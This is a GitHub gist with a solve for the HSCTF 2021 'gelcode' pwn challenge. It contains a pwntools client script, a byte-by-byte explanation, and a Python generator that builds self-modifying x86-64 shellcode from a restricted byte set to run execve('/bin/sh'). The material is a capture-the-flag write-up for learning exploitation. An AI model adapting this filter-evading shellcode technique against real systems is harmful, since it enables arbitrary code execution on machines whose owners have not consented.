Skip to content

Instantly share code, notes, and snippets.

@kevin-he-01
Last active June 19, 2021 21:40
Show Gist options
  • Save kevin-he-01/2a25ebd9f833527410ec4de345661c47 to your computer and use it in GitHub Desktop.
Save kevin-he-01/2a25ebd9f833527410ec4de345661c47 to your computer and use it in GitHub Desktop.
HSCTF 2021: My solve files (mini writeup) for pwn/gelcode
from pwn import *
r = remote('gelcode.hsc.tf', 1337)
# Run mkshellcode.py to generate this file
with open('sc.in', 'rb') as scf:
r.send(scf.read())
r.interactive()
Line by line explanation:
Line 1: NOP + b'\x05\0\0\0\0' + b'\x00\x07'
0: 0c 00 or al, 0x0
2: 05 00 00 00 00 add eax, 0x0
7: 00 07 add BYTE PTR [rdi], al
Explanation: This code does nothing except ensuring DWORD PTR [edx + 4] is zero since execve(rdi, rsi, rdx) requires that rsi and rdx be an array to valid pointers or NULL's
In 64-bit (amd64) byte 0-7 must all be 0 (byte 0-3 can't be zero or it will not be sane code, this is corrected later)
Line 2: seteax(0xfffafff4) + b'\x01\x02'
<set eax to 0xfffafff4>
add DWORD PTR [edx], eax
Explanation: Set DWORD PTR [edx] to 0 by adding 0xfffafff4 to 0x0005000c (byte 0-3 of this shellcode is 0c 00 05 00 and amd64 is little endian)
Line 3: seteax(u32(b'/bin')) + b'\x01\x07' + seteax(0x47)
<set eax to u32(b'/bin')>
add DWORD PTR [edi], eax
Explanation: Load the first part of /bin/sh into DWORD PTR [rdi]. It assumes that DWORD PTR [rdi] is initially zero (true in libc-2.31.so)
Line 4: seteax(0x47) + b'\x00\x05\0\1\0\0' + NOP * ((256 - SETEAX_SC_LEN - 1) // 2) + seteax(u32(b'/sh\0')) + b'\x01\x47\x04'
10c: 00 05 00 01 00 00 add BYTE PTR [rip+0x100], al # modify its own code to patch the invalid byte @ 0x212 with the correct value: 0x47
112: 0c 00 or al, 0x0 # essentially nop
114: 0c 00 or al, 0x0
116: 0c 00 or al, 0x0
<nop sled continues...>
1ba: 0c 00 or al, 0x0
<set eax to u32(b'/sh\0')>
211: 01 47 04 add DWORD PTR [rdi+0x4], eax # note 0x47 is an invalid byte (will be reset to 0x0) so it must be patched by the code before
Explanation: rip is the program counter in x86-64.
The first instruction
add BYTE PTR [rip+0x100], al
uses RIP-relative addressing, where the effective address is 0x100 bytes beyond
The nop sled is necessary because the offset in
add BYTE PTR [rip+offset], al
can only be encoded using bytes <= 0xf and
the <set eax to u32(b'/sh\0')> part takes up significant space (offset > 0xf).
The best number would be 0x100 so some NOP-padding is added
Line 5: seteax(SYS_EXECVE) + SYSCALL
Spawn a shell by calling execve(rdi, rsi, rdx) = execve("/bin/sh", {NULL}, {NULL})
set eax to the syscall number SYS_EXECVE = 59 and then use the syscall instruction, which encodes to 0xf 0xb which uses only legal characters
#! /usr/bin/env python3
# Useful: http://sparksandflames.com/files/x86InstructionChart.html
# http://ref.x86asm.net/coder.html
from pwnlib.util.packing import p32, u32 # type: ignore
from pwnlib.context import context
from pwnlib.asm import disasm
context.update(arch='amd64', bits=64)
SYS_EXECVE = 59
SYSCALL = b'\x0f\x05'
NOP = b'\x0c\x00'
# 85 = (16 + 1) * 5
SETEAX_SC_LEN = 85
def getshellcode() -> bytes:
eax = 0 # initial eax value is 0 (In this binary, eax is the return value of the last non-void return function called which happens to be 0)
# This is confirmed thorugh GDB
# seteax is a convenience function to return shellcode that sets eax to an arbitrary constant
# it depends on the previous value of eax since it uses add eax, imm32
def seteax(neweax):
nonlocal eax
offset = neweax - eax
lower_nibbles = offset & 0x0f0f0f0f
upper_nibbles = (offset & 0xf0f0f0f0) >> 4
ret = (b'\x05' + p32(upper_nibbles)) * 16 + b'\x05' + p32(lower_nibbles)
eax = neweax
assert len(ret) == SETEAX_SC_LEN
return ret
## Main shellcode (esi and edx both points to the start of the shellcode (byte 0) on entry, because `call edx` is how this shellcode is invoked)
# See mkshellcode-explanation.txt for an explanation of the 4 lines below
return NOP + b'\x05\0\0\0\0' + b'\x00\x07' + \
seteax(0xfffafff4) + b'\x01\x02' + \
seteax(u32(b'/bin')) + b'\x01\x07' + \
seteax(0x47) + b'\x00\x05\0\1\0\0' + NOP * ((0x100 - SETEAX_SC_LEN - 1) // len(NOP)) + seteax(u32(b'/sh\0')) + b'\x01\x47\x04' + \
seteax(SYS_EXECVE) + SYSCALL
## TEST 1
# times 60 add al, 1
# syscall
# return b'\x04\x01' * 60 + b'\x0f\x05'
## TEST 2: write arbitrary value to eax
# return seteax(0xdeadbeef) + seteax(0x13375eed)
## TEST 3: self-modifying code to achieve 0xc3 (RET)
# return seteax(0xc3) + b'\x00\x05\0\0\0\0' + b'\0'
sc = getshellcode()
print(disasm(sc)) # debug
print('Shellcode length: {}'.format(len(sc)))
with open('sc.in', 'wb') as scf:
scf.write((sc + b'\x0f\x0b').ljust(1000, b'\0'))
# syscall is POSSIBLE: b'\x0f\x05', 0x0f is the max
# add al is possible
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment